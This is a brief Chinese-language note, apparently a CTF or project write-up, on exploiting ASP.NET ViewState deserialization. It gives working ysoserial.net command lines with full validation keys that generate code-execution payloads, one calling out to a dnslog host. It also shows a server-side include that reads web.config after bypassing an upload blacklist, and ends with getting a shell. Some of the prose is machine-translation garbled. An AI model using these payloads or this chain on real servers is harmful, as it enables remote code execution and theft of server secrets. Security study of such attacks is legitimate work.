做项目学到一手记录下
ASP.NET Web应用顺序运用ViewState来庇护页面状况,并在Web表单中保存数据。ViewState参数是Base64序列化后的餐胡,一般会在POST请求中经由历程名为“__VIEWSTATE”的隐蔽参数发送。在效劳器端,将对这个参数举行反序列化,并检索数据。
1.得到 validationKey 验证密钥 以及 validation 验证方法或者web.config某种途径的泄露 2.禁用MAC验证功能 默认key合集https://github.com/yuanhaiGreg/Fuzz-Dict/blob/master/ViewState_Key.txt
利用ysoserialg工具生成viewstate payload
针对.NET Framwork 4.5及以上版本:
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --generator=93D20A1B --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"针对.NET Framwork 4.0及以上版本
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "ping p0xxwc.dnslog.cn" --generator="CA0B0334" --validationalg="MD5" --validationkey="b07b0f97365416288cf0247cffdf135d25f6be87"如果不知道_VIEWSTATEGENNERATOR参数,就需要知道其路径–path="/somepath/testaspx/test.aspx" --apppath="/testaspx/"
题目给出了源码,文件上传黑名单的绕过上传ctm文件
<!-- test.shtml --> <!--#include file="/web.config" -->最后读到上面的配置文件,key也知道了
随便post一个包过去
现在知道viewstate及相关值了,然后ysorial工具
弹个shell就ok
参考文章: https://www.4hou.com/posts/GYq7 https://github.com/Illuminopi/RCEvil.NET https://github.com/pwntester/ysoserial.net